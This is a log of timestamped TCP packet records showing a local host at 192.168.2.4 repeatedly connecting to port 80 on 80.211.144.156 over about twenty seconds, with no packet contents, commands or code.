Aug 26, 2024 20:16:49.089771032 CEST	49756	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:49.095086098 CEST	80	49756	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:49.446254015 CEST	49756	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:49.451349020 CEST	80	49756	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:49.451363087 CEST	80	49756	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:49.451371908 CEST	80	49756	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:49.785244942 CEST	80	49756	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:49.836720943 CEST	49756	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:49.918303013 CEST	80	49756	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:49.961740017 CEST	49756	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:50.044648886 CEST	49757	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:50.049603939 CEST	80	49757	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:50.049690008 CEST	49757	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:50.049758911 CEST	49757	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:50.054596901 CEST	80	49757	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:50.399529934 CEST	49757	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:50.404412031 CEST	80	49757	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:50.404433012 CEST	80	49757	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:50.404442072 CEST	80	49757	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:50.721602917 CEST	80	49757	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:50.774207115 CEST	49757	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:50.920320034 CEST	80	49757	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:50.961716890 CEST	49757	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.265121937 CEST	49757	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.265868902 CEST	49758	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.270397902 CEST	80	49757	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:51.270441055 CEST	49757	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.270698071 CEST	80	49758	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:51.270747900 CEST	49758	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.270833015 CEST	49758	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.275568008 CEST	80	49758	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:51.415543079 CEST	49759	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.415631056 CEST	49758	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.420537949 CEST	80	49759	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:51.420599937 CEST	49759	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.437269926 CEST	49759	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.442239046 CEST	80	49759	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:51.465806961 CEST	80	49758	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:51.737082005 CEST	80	49758	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:51.737133980 CEST	49758	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.755279064 CEST	49760	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.760190010 CEST	80	49760	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:51.760267019 CEST	49760	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.760582924 CEST	49760	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.765326023 CEST	80	49760	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:51.790257931 CEST	49759	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:51.795280933 CEST	80	49759	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:51.795291901 CEST	80	49759	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:52.089052916 CEST	80	49759	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:52.121998072 CEST	49760	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.126844883 CEST	80	49760	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:52.126988888 CEST	80	49760	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:52.127028942 CEST	80	49760	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:52.133594036 CEST	49759	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.287699938 CEST	80	49759	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:52.336704016 CEST	49759	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.434422970 CEST	80	49760	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:52.477358103 CEST	49760	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.566940069 CEST	80	49760	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:52.618068933 CEST	49760	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.700933933 CEST	49759	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.700948954 CEST	49760	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.701706886 CEST	49761	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.705996037 CEST	80	49759	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:52.706304073 CEST	80	49760	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:52.706362009 CEST	49759	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.706391096 CEST	49760	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.706525087 CEST	80	49761	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:52.706943035 CEST	49761	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.707030058 CEST	49761	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:52.711762905 CEST	80	49761	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:53.055619955 CEST	49761	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:53.061274052 CEST	80	49761	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:53.061286926 CEST	80	49761	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:53.061295986 CEST	80	49761	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:53.391042948 CEST	80	49761	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:53.446142912 CEST	49761	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:53.526371002 CEST	80	49761	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:53.571119070 CEST	49761	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:53.735152006 CEST	49762	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:53.739984035 CEST	80	49762	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:53.740055084 CEST	49762	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:53.776496887 CEST	49762	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:53.781555891 CEST	80	49762	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:54.134088039 CEST	49762	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:54.417749882 CEST	80	49762	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:54.417762041 CEST	80	49762	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:54.417773008 CEST	80	49762	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:54.439924002 CEST	80	49762	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:54.492976904 CEST	49762	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:54.701497078 CEST	80	49762	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:54.743045092 CEST	49762	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:54.818161011 CEST	49762	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:54.818806887 CEST	49763	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:54.823218107 CEST	80	49762	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:54.823283911 CEST	49762	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:54.823602915 CEST	80	49763	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:54.823664904 CEST	49763	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:54.823751926 CEST	49763	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:54.828521013 CEST	80	49763	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:55.180591106 CEST	49763	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:55.227355957 CEST	49763	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:55.275880098 CEST	80	49763	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:55.276112080 CEST	80	49763	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:55.276123047 CEST	80	49763	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:55.276130915 CEST	80	49763	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:55.509380102 CEST	80	49763	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:55.555548906 CEST	49763	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:55.656932116 CEST	80	49763	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:55.711736917 CEST	49763	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:55.771668911 CEST	49763	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:55.771970034 CEST	49764	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:55.776760101 CEST	80	49763	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:55.776844025 CEST	49763	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:55.776879072 CEST	80	49764	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:55.776954889 CEST	49764	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:55.777179956 CEST	49764	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:55.781922102 CEST	80	49764	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:56.135188103 CEST	49764	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:56.140153885 CEST	80	49764	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:56.140168905 CEST	80	49764	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:56.140180111 CEST	80	49764	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:56.460783958 CEST	80	49764	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:56.508601904 CEST	49764	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:56.658302069 CEST	80	49764	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:56.711771965 CEST	49764	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:56.873513937 CEST	49764	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:56.874138117 CEST	49765	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:56.878520966 CEST	80	49764	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:56.878592968 CEST	49764	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:56.878982067 CEST	80	49765	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:56.879045010 CEST	49765	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:56.879162073 CEST	49765	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:56.884412050 CEST	80	49765	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.227754116 CEST	49765	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:57.232717991 CEST	80	49765	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.232732058 CEST	80	49765	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.233009100 CEST	80	49765	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.290956020 CEST	49765	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:57.291414022 CEST	49766	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:57.296195984 CEST	80	49766	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.296269894 CEST	49766	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:57.296386003 CEST	49766	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:57.301688910 CEST	80	49766	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.341859102 CEST	80	49765	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.359083891 CEST	80	49765	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.359133959 CEST	49765	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:57.412111998 CEST	49767	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:57.649346113 CEST	49766	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:57.716000080 CEST	80	49767	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.716012955 CEST	80	49766	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.716022015 CEST	80	49766	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.716166973 CEST	49767	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:57.716329098 CEST	49767	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:57.721685886 CEST	80	49767	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:57.968777895 CEST	80	49766	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:58.024225950 CEST	49766	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.071222067 CEST	49767	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.076059103 CEST	80	49767	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:58.076206923 CEST	80	49767	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:58.076236963 CEST	80	49767	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:58.096595049 CEST	80	49766	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:58.149250984 CEST	49766	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.378267050 CEST	80	49767	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:58.430476904 CEST	49767	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.650547028 CEST	80	49767	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:58.652692080 CEST	80	49767	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:58.652753115 CEST	49767	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.771708965 CEST	49766	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.772126913 CEST	49767	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.772439003 CEST	49769	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.777364969 CEST	80	49766	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:58.777378082 CEST	80	49767	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:58.777389050 CEST	80	49769	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:58.777530909 CEST	49766	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.777551889 CEST	49767	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.777590036 CEST	49769	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.777700901 CEST	49769	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:58.783413887 CEST	80	49769	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:59.157277107 CEST	49769	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:59.162214994 CEST	80	49769	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:59.162229061 CEST	80	49769	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:59.162237883 CEST	80	49769	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:59.453006029 CEST	80	49769	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:59.492999077 CEST	49769	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:59.586431980 CEST	80	49769	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:59.633631945 CEST	49769	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:00.204371929 CEST	49770	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:00.209367990 CEST	80	49770	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:00.209497929 CEST	49770	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:00.209988117 CEST	49770	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:00.214813948 CEST	80	49770	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:00.556066036 CEST	49770	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:00.561965942 CEST	80	49770	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:00.562015057 CEST	80	49770	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:00.562027931 CEST	80	49770	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:00.887332916 CEST	80	49770	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:00.930480957 CEST	49770	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:01.014467955 CEST	80	49770	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:01.061192989 CEST	49770	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:01.146327972 CEST	49770	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:01.146598101 CEST	49771	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:01.151531935 CEST	80	49771	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:01.152208090 CEST	80	49770	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:01.152282000 CEST	49770	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:01.152410030 CEST	49771	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:01.152410030 CEST	49771	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:01.157303095 CEST	80	49771	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:01.508902073 CEST	49771	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:01.513880968 CEST	80	49771	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:01.513892889 CEST	80	49771	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:01.513900995 CEST	80	49771	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:01.817061901 CEST	80	49771	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:01.867980957 CEST	49771	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:01.951286077 CEST	80	49771	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:01.993001938 CEST	49771	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:02.332981110 CEST	49771	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:02.338203907 CEST	80	49771	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:02.340974092 CEST	49771	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:02.410209894 CEST	49772	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:02.418040991 CEST	80	49772	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:02.421513081 CEST	49772	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:02.433294058 CEST	49772	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:02.445816040 CEST	80	49772	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:02.790152073 CEST	49772	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:02.795068026 CEST	80	49772	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:02.795094967 CEST	80	49772	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:02.795125961 CEST	80	49772	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:03.093755007 CEST	80	49772	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:03.107635975 CEST	49773	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:03.107994080 CEST	49772	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:03.112721920 CEST	80	49773	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:03.112822056 CEST	49773	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:03.113768101 CEST	80	49772	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:03.113811016 CEST	49772	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:03.129604101 CEST	49773	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:03.135224104 CEST	80	49773	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:03.251271963 CEST	49769	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:03.256237984 CEST	49774	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:03.261521101 CEST	80	49774	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:03.261599064 CEST	49774	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:03.261688948 CEST	49774	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:03.266511917 CEST	80	49774	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:03.477598906 CEST	49773	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:03.484141111 CEST	80	49773	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:03.484206915 CEST	80	49773	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:03.618139029 CEST	49774	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:03.622956038 CEST	80	49774	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:03.623085976 CEST	80	49774	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:03.623096943 CEST	80	49774	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.056143999 CEST	80	49773	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.060625076 CEST	80	49774	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.060636997 CEST	80	49773	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.060663939 CEST	80	49773	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.060703039 CEST	49773	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:04.060725927 CEST	49773	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:04.071145058 CEST	80	49774	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.071229935 CEST	49774	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:04.213191986 CEST	49773	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:04.213264942 CEST	49774	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:04.213927031 CEST	49775	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:04.218300104 CEST	80	49773	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.218353033 CEST	49773	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:04.218921900 CEST	80	49774	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.218966961 CEST	49774	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:04.219050884 CEST	80	49775	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.219114065 CEST	49775	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:04.219250917 CEST	49775	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:04.224008083 CEST	80	49775	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.571336985 CEST	49775	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:04.576455116 CEST	80	49775	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.576554060 CEST	80	49775	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.576963902 CEST	80	49775	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.885432005 CEST	80	49775	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:04.930531025 CEST	49775	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:05.089936972 CEST	80	49775	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:05.133615971 CEST	49775	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:05.388360977 CEST	49775	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:05.389148951 CEST	49776	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:05.393970013 CEST	80	49775	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:05.394043922 CEST	80	49776	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:05.394093037 CEST	49775	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:05.394136906 CEST	49776	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:05.394256115 CEST	49776	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:05.399369001 CEST	80	49776	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:05.743285894 CEST	49776	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:05.748096943 CEST	80	49776	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:05.748183012 CEST	80	49776	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:05.748291969 CEST	80	49776	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:06.090375900 CEST	80	49776	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:06.133650064 CEST	49776	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:06.287930012 CEST	80	49776	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:06.336833954 CEST	49776	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:06.415004015 CEST	49777	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:06.419898987 CEST	80	49777	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:06.419979095 CEST	49777	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:06.420085907 CEST	49777	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:06.425482035 CEST	80	49777	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:06.774429083 CEST	49777	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:06.779362917 CEST	80	49777	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:06.779377937 CEST	80	49777	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:06.779393911 CEST	80	49777	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:07.188365936 CEST	80	49777	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:07.243063927 CEST	49777	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:07.280864954 CEST	80	49777	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:07.321265936 CEST	49777	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:07.443141937 CEST	49777	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:07.448291063 CEST	49778	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:07.448627949 CEST	80	49777	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:07.448679924 CEST	49777	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:07.453140020 CEST	80	49778	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:07.453238964 CEST	49778	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:07.453411102 CEST	49778	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:07.458683014 CEST	80	49778	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:07.806247950 CEST	49778	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:07.812761068 CEST	80	49778	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:07.812813044 CEST	80	49778	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:07.812824965 CEST	80	49778	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:08.130878925 CEST	80	49778	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:08.181569099 CEST	49778	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:08.265765905 CEST	80	49778	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:08.321130037 CEST	49778	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:08.817527056 CEST	49778	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:08.818048954 CEST	49779	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:08.832509995 CEST	80	49779	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:08.832586050 CEST	49779	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:08.833605051 CEST	49779	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:08.833903074 CEST	80	49778	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:08.834053993 CEST	49778	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:08.839631081 CEST	80	49779	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:09.072444916 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.072587013 CEST	49779	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.078452110 CEST	80	49780	80.211.144.156	192.168.2.4
